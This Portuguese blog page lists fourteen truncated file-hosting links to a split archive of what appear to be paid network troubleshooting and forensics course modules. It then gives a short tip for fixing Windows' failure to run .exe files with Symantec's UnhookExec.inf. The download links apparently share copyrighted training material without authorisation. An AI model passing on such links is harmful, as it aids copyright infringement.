WSU03: Solução de problemas de desempenho de rede
WSU04: Forense de Rede e Segurança

Links: 

http://www.fileserve.com/file/TmRyBJ...ing.part01.rar
http://www.fileserve.com/file/BE9jYz...ing.part02.rar
http://www.fileserve.com/file/GwnUbq...ing.part03.rar
http://www.fileserve.com/file/KyDePx...ing.part04.rar
http://www.fileserve.com/file/KCdGEf...ing.part05.rar
http://www.fileserve.com/file/VDJQst...ing.part06.rar
http://www.fileserve.com/file/ZzWUps...ing.part07.rar
http://www.fileserve.com/file/HMetMC...ing.part08.rar
http://www.fileserve.com/file/WFWuW6...ing.part09.rar
http://www.fileserve.com/file/fYD5GQ...ing.part10.rar
http://www.fileserve.com/file/nVt7sx...ing.part11.rar
http://www.fileserve.com/file/MKWa3k...ing.part12.rar
http://www.fileserve.com/file/V4ayZU...ing.part13.rar
http://www.fileserve.com/file/W8uBqy...ing.part14.rar

0 Dica: Windows não abre arquivos .exe, como resolver ?

É gente hoje eu estava usando o notebook da minha Esposa e me deparei com um problema muito comum hoje em dia ( creio eu ), não conseguia instalar nenhum programa .exe.
Vou ser sincero de cara pensei em formatar o micro desse jeito eu me livrava do problema e deixava o PC mais leve, porém ela não deixou então fui estudar o problema afim de descobrir um jeito de resolver o mesmo e obtive sucesso, vou deixar aqui pra vocês o jeito de resolver isso facilmente.


Baixe o arquivo UnhookExec desenvolvido pela Symantec depois de baixar o arquivo.
Clique com o botão direito em cima do arquivo UnhookExec.inf e mande instalar, isso irá resolver seu problema.


Até onde eu sei isso acontece por causa de um vírus que danifica uma chave no registro do Windows a ShellOpenCommand.


Então é isso gente espero que esse post ajude vocês a resolver esse problema.